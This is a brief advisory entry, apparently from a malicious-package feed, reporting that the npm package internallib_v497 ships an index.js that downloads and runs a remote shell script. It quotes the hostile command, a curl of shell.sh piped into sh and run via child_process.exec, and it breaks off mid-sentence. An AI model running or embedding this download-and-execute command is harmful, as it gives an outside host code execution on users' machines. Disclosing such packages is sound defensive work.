Malicious code in internallib_v497 (npm)

Source: amazon-inspector 37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505 npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via childprocess.exec'/bin/bash -c...', fetching an unauthenticated scrip...